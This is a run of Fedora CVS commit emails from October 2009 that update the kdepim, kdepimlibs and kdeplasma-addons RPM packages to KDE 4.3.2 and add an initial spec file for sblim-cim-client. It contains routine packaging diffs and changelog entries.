--- kdepim-4.3.2-imapMove.patch DELETED ---


--- kdepim-4.3.2-ldapCompletionCrash.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 11:58:24 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:58:24 +0000 (UTC)
Subject: rpms/kdepim/F-11 .cvsignore, 1.65, 1.66 kdepim.spec, 1.226,
	1.227 sources, 1.73, 1.74 kdepim-4.3.2-imapMove.patch, 1.1,
	NONE kdepim-4.3.2-ldapCompletionCrash.patch, 1.2, NONE
Message-ID: <20091007115824.B442C11C0298@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepim/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28735/F-11

Modified Files:
	.cvsignore kdepim.spec sources 
Removed Files:
	kdepim-4.3.2-imapMove.patch 
	kdepim-4.3.2-ldapCompletionCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-11/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Sep 2009 18:10:07 -0000	1.65
+++ .cvsignore	7 Oct 2009 11:58:23 -0000	1.66
@@ -1 +1 @@
-kdepim-4.3.1.tar.bz2
+kdepim-4.3.2.tar.bz2


Index: kdepim.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-11/kdepim.spec,v
retrieving revision 1.226
retrieving revision 1.227
diff -u -p -r1.226 -r1.227
--- kdepim.spec	23 Sep 2009 17:26:47 -0000	1.226
+++ kdepim.spec	7 Oct 2009 11:58:24 -0000	1.227
@@ -5,8 +5,8 @@
 Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
-Version: 4.3.1
-Release: 5%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -16,12 +16,6 @@ Patch0:  kdepim-4.1.80-libqgpgme-link-fi
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
 # 4.3.1 upstream
-# http://websvn.kde.org/?view=rev&revision=1022963
-# http://websvn.kde.org/?view=rev&revision=1022964
-Patch100: kdepim-4.3.2-imapMove.patch
-#?http://websvn.kde.org/?view=rev&revision=1019119
-# http://websvn.kde.org/?view=rev&revision=1019358
-Patch101: kdepim-4.3.2-ldapCompletionCrash.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -61,12 +55,13 @@ BuildRequires: soprano-devel
 BuildRequires: qca2-devel
 BuildRequires: zlib-devel
 
+%if 0%{?fedora}
 ##Optional bits
 Requires(hint): pinentry-gui
 Requires(hint): spambayes
 #Requires(hint): spamassassin
 #%{?fedora:Requires(hint): bogofilter}
-
+%endif
 
 %description
 %{summary}, including:
@@ -101,8 +96,6 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
-%patch100 -p4 -b .imapMove
-%patch101 -p0 -b .ldapCompletionCrash
 
 
 %build
@@ -221,6 +214,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3.1-6
+- rhel cleanup
+
 * Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-5
 - respin ldap crasher patch (kdebug:206024, rhbz#524870)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-11/sources,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- sources	1 Sep 2009 18:10:08 -0000	1.73
+++ sources	7 Oct 2009 11:58:24 -0000	1.74
@@ -1 +1 @@
-1029bc586f29c262f5f60eb079623e62  kdepim-4.3.1.tar.bz2
+7e6a672bd681b2f19502798d7ed73fe8  kdepim-4.3.2.tar.bz2


--- kdepim-4.3.2-imapMove.patch DELETED ---


--- kdepim-4.3.2-ldapCompletionCrash.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 11:58:25 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:58:25 +0000 (UTC)
Subject: rpms/kdepim/devel .cvsignore,1.70,1.71
Message-ID: <20091007115825.E44BA11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28735/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim/devel/.cvsignore,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- .cvsignore	5 Oct 2009 14:44:04 -0000	1.70
+++ .cvsignore	7 Oct 2009 11:58:25 -0000	1.71
@@ -1,2 +1 @@
-kdepim-4.3.1.tar.bz2
 kdepim-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:58:26 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:58:26 +0000 (UTC)
Subject: rpms/kdepim/F-12 .cvsignore, 1.69, 1.70 kdepim.spec, 1.238,
	1.239 sources, 1.76, 1.77 kdepim-4.3.2-imapMove.patch, 1.1,
	NONE kdepim-4.3.2-ldapCompletionCrash.patch, 1.2, NONE
Message-ID: <20091007115826.0A79111C0298@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28735/F-12

Modified Files:
	.cvsignore kdepim.spec sources 
Removed Files:
	kdepim-4.3.2-imapMove.patch 
	kdepim-4.3.2-ldapCompletionCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-12/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 18:10:08 -0000	1.69
+++ .cvsignore	7 Oct 2009 11:58:24 -0000	1.70
@@ -1 +1 @@
-kdepim-4.3.1.tar.bz2
+kdepim-4.3.2.tar.bz2


Index: kdepim.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-12/kdepim.spec,v
retrieving revision 1.238
retrieving revision 1.239
diff -u -p -r1.238 -r1.239
--- kdepim.spec	24 Sep 2009 13:35:02 -0000	1.238
+++ kdepim.spec	7 Oct 2009 11:58:24 -0000	1.239
@@ -5,8 +5,8 @@
 Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
-Version: 4.3.1
-Release: 6%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -16,12 +16,6 @@ Patch0:  kdepim-4.1.80-libqgpgme-link-fi
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
 # 4.3.1 upstream
-# http://websvn.kde.org/?view=rev&revision=1022963
-# http://websvn.kde.org/?view=rev&revision=1022964
-Patch100: kdepim-4.3.2-imapMove.patch
-#?http://websvn.kde.org/?view=rev&revision=1019119
-# http://websvn.kde.org/?view=rev&revision=1019358
-Patch101: kdepim-4.3.2-ldapCompletionCrash.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -102,8 +96,6 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
-%patch100 -p4 -b .imapMove
-%patch101 -p0 -b .ldapCompletionCrash
 
 
 %build
@@ -222,6 +214,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3.1-6
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-12/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	28 Aug 2009 15:11:22 -0000	1.76
+++ sources	7 Oct 2009 11:58:24 -0000	1.77
@@ -1 +1 @@
-1029bc586f29c262f5f60eb079623e62  kdepim-4.3.1.tar.bz2
+7e6a672bd681b2f19502798d7ed73fe8  kdepim-4.3.2.tar.bz2


--- kdepim-4.3.2-imapMove.patch DELETED ---


--- kdepim-4.3.2-ldapCompletionCrash.patch DELETED ---



From vcrhonek at fedoraproject.org  Wed Oct  7 12:01:06 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:01:06 +0000 (UTC)
Subject: rpms/sblim-cim-client/F-12 sources,1.1,1.2
Message-ID: <20091007120106.37A8C11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31477

Modified Files:
	sources 
Log Message:
Initial commit


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 12:01:05 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From vcrhonek at fedoraproject.org  Wed Oct  7 12:02:02 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 12:02:02 +0000 (UTC)
Subject: rpms/sblim-cim-client/F-12 sblim-cim-client.spec,NONE,1.1
Message-ID: <20091007120202.6244411C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31646

Added Files:
	sblim-cim-client.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support



From ltinkl at fedoraproject.org  Wed Oct  7 12:06:58 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:06:58 +0000 (UTC)
Subject: rpms/kdepimlibs/F-10 .cvsignore, 1.34, 1.35 kdepimlibs.spec, 1.71, 
	1.72 sources, 1.36, 1.37
Message-ID: <20091007120658.439D811C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepimlibs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32648/F-10

Modified Files:
	.cvsignore kdepimlibs.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-10/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	1 Sep 2009 18:11:59 -0000	1.34
+++ .cvsignore	7 Oct 2009 12:06:57 -0000	1.35
@@ -1 +1 @@
-kdepimlibs-4.3.1.tar.bz2
+kdepimlibs-4.3.2.tar.bz2


Index: kdepimlibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-10/kdepimlibs.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- kdepimlibs.spec	1 Sep 2009 18:11:59 -0000	1.71
+++ kdepimlibs.spec	7 Oct 2009 12:06:57 -0000	1.72
@@ -1,17 +1,9 @@
-%if 0%{?fedora} > 8
-# set this to 0 to disable -apidocs for a faster build
 %define apidocs 1
-%else
-# don't build apidocs on Fedora < 9 for now, because we don't have the required
-# files from KDE 4 in %{_kde4_docdir}/HTML/en/common due to conflicts with KDE 3
-%define apidocs 0
-%endif
-
 %define akonadi_subpkg 1
 %define akonadi_version 1.2.0
 
 Name: kdepimlibs
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment 4 - PIM Libraries
 
@@ -63,6 +55,8 @@ Provides:  kdepimlibs4-devel = %{version
 Requires: kdelibs4-devel
 Requires: boost-devel
 # FIXME/HACK, bogus dep -- Rex
+# Is this still needed now that we have "reduced link interfaces"? I think
+# users of libkcal no longer try to link in libical.so now. -- Kevin
 Requires: libical-devel
 
 %description devel
@@ -82,9 +76,7 @@ Requires: akonadi%{?_isa} >= %{akonadi_v
 Group: Development/Documentation
 Summary: kdepimlibs API documentation
 Requires: kde-filesystem
-%if 0%{?fedora} > 9
 BuildArch: noarch
-%endif
 
 %description apidocs
 This package includes the kdepimlibs API documentation in HTML
@@ -213,6 +205,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-10/sources,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- sources	1 Sep 2009 18:11:59 -0000	1.36
+++ sources	7 Oct 2009 12:06:57 -0000	1.37
@@ -1 +1 @@
-8f8ffad4475a98f864470da888ef0931  kdepimlibs-4.3.1.tar.bz2
+5206959536c1a7abd58f6d2b6eb1c952  kdepimlibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:06:58 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:06:58 +0000 (UTC)
Subject: rpms/kdepimlibs/F-11 .cvsignore, 1.39, 1.40 kdepimlibs.spec, 1.91, 
	1.92 sources, 1.39, 1.40
Message-ID: <20091007120658.5D2AF11C0298@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepimlibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32648/F-11

Modified Files:
	.cvsignore kdepimlibs.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-11/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	1 Sep 2009 18:11:59 -0000	1.39
+++ .cvsignore	7 Oct 2009 12:06:58 -0000	1.40
@@ -1 +1 @@
-kdepimlibs-4.3.1.tar.bz2
+kdepimlibs-4.3.2.tar.bz2


Index: kdepimlibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-11/kdepimlibs.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- kdepimlibs.spec	1 Sep 2009 18:11:59 -0000	1.91
+++ kdepimlibs.spec	7 Oct 2009 12:06:58 -0000	1.92
@@ -1,17 +1,9 @@
-%if 0%{?fedora} > 8
-# set this to 0 to disable -apidocs for a faster build
 %define apidocs 1
-%else
-# don't build apidocs on Fedora < 9 for now, because we don't have the required
-# files from KDE 4 in %{_kde4_docdir}/HTML/en/common due to conflicts with KDE 3
-%define apidocs 0
-%endif
-
 %define akonadi_subpkg 1
 %define akonadi_version 1.2.0
 
 Name: kdepimlibs
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment 4 - PIM Libraries
 
@@ -63,6 +55,8 @@ Provides:  kdepimlibs4-devel = %{version
 Requires: kdelibs4-devel
 Requires: boost-devel
 # FIXME/HACK, bogus dep -- Rex
+# Is this still needed now that we have "reduced link interfaces"? I think
+# users of libkcal no longer try to link in libical.so now. -- Kevin
 Requires: libical-devel
 
 %description devel
@@ -82,9 +76,7 @@ Requires: akonadi%{?_isa} >= %{akonadi_v
 Group: Development/Documentation
 Summary: kdepimlibs API documentation
 Requires: kde-filesystem
-%if 0%{?fedora} > 9
 BuildArch: noarch
-%endif
 
 %description apidocs
 This package includes the kdepimlibs API documentation in HTML
@@ -213,6 +205,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-11/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	1 Sep 2009 18:11:59 -0000	1.39
+++ sources	7 Oct 2009 12:06:58 -0000	1.40
@@ -1 +1 @@
-8f8ffad4475a98f864470da888ef0931  kdepimlibs-4.3.1.tar.bz2
+5206959536c1a7abd58f6d2b6eb1c952  kdepimlibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:06:58 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:06:58 +0000 (UTC)
Subject: rpms/kdepimlibs/F-12 .cvsignore, 1.43, 1.44 kdepimlibs.spec, 1.100, 
	1.101 sources, 1.42, 1.43
Message-ID: <20091007120658.AE8BC11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepimlibs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32648/F-12

Modified Files:
	.cvsignore kdepimlibs.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-12/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	1 Sep 2009 18:11:59 -0000	1.43
+++ .cvsignore	7 Oct 2009 12:06:58 -0000	1.44
@@ -1 +1 @@
-kdepimlibs-4.3.1.tar.bz2
+kdepimlibs-4.3.2.tar.bz2


Index: kdepimlibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-12/kdepimlibs.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- kdepimlibs.spec	2 Sep 2009 06:34:44 -0000	1.100
+++ kdepimlibs.spec	7 Oct 2009 12:06:58 -0000	1.101
@@ -3,7 +3,7 @@
 %define akonadi_version 1.2.0
 
 Name: kdepimlibs
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: K Desktop Environment 4 - PIM Libraries
 
@@ -205,6 +205,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/F-12/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	28 Aug 2009 15:15:14 -0000	1.42
+++ sources	7 Oct 2009 12:06:58 -0000	1.43
@@ -1 +1 @@
-8f8ffad4475a98f864470da888ef0931  kdepimlibs-4.3.1.tar.bz2
+5206959536c1a7abd58f6d2b6eb1c952  kdepimlibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:06:58 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:06:58 +0000 (UTC)
Subject: rpms/kdepimlibs/devel .cvsignore,1.44,1.45
Message-ID: <20091007120659.0087811C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepimlibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32648/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepimlibs/devel/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	5 Oct 2009 14:50:50 -0000	1.44
+++ .cvsignore	7 Oct 2009 12:06:58 -0000	1.45
@@ -1,2 +1 @@
-kdepimlibs-4.3.1.tar.bz2
 kdepimlibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 12:09:07 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 12:09:07 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-10 .cvsignore, 1.14,
	1.15 kdeplasma-addons.spec, 1.23, 1.24 sources, 1.15,
	1.16 kdeplasma-addons-4.3.2-ublog_twitter.patch, 1.1, NONE
Message-ID: <20091007120907.C7AF411C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeplasma-addons/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv707/F-10

Modified Files:
	.cvsignore kdeplasma-addons.spec sources 
Removed Files:
	kdeplasma-addons-4.3.2-ublog_twitter.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-10/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	1 Sep 2009 18:15:00 -0000	1.14
+++ .cvsignore	7 Oct 2009 12:09:07 -0000	1.15
@@ -1 +1 @@
-kdeplasma-addons-4.3.1.tar.bz2
+kdeplasma-addons-4.3.2.tar.bz2


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-10/kdeplasma-addons.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- kdeplasma-addons.spec	3 Oct 2009 16:35:05 -0000	1.23
+++ kdeplasma-addons.spec	7 Oct 2009 12:09:07 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
-Version:        4.3.1
-Release:        3%{?dist}
+Version:        4.3.2
+Release:        1%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -16,7 +16,6 @@ Patch51: kdeplasma-addons-4.2.2-krunner_
 
 ## upstream patches
 # https://bugzilla.redhat.com/526524
-Patch100: kdeplasma-addons-4.3.2-ublog_twitter.patch
 # Backported from 4.3 branch
 
 BuildRequires:  boost-devel
@@ -82,7 +81,6 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
-%patch100 -p4 -b .ublog_twitter
 
 
 %build
@@ -130,6 +128,7 @@ rm -rf %{buildroot}
 %{_kde4_appsdir}/desktoptheme/*
 %{_kde4_appsdir}/lancelot/
 %{_kde4_appsdir}/plasma/services/*
+%{_kde4_appsdir}/plasma-applet-frame/
 %{_kde4_appsdir}/plasma-applet-opendesktop/
 %{_kde4_appsdir}/plasma_pastebin/
 %{_kde4_appsdir}/plasma_wallpaper_pattern/
@@ -142,7 +141,6 @@ rm -rf %{buildroot}
 %{_kde4_datadir}/dbus-1/services/org.kde.lancelot.service
 %{_kde4_libdir}/kde4/*.so
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_iconsdir}/oxygen/*/*/*
 
 %files libs
 %defattr(-,root,root,-)
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - Ship -devel subpackage (#527011)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeplasma-addons/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	1 Sep 2009 18:15:00 -0000	1.15
+++ sources	7 Oct 2009 12:09:07 -0000	1.16
@@ -1 +1 @@
-282473836da35a48a6c6bee0b6fa6666  kdeplasma-addons-4.3.1.tar.bz2
+ef545d02cc484d226dc6a580be11a370  kdeplasma-addons-4.3.2.tar.bz2


--- kdeplasma-addons-4.3.2-ublog_twitter.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 12:09:08 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
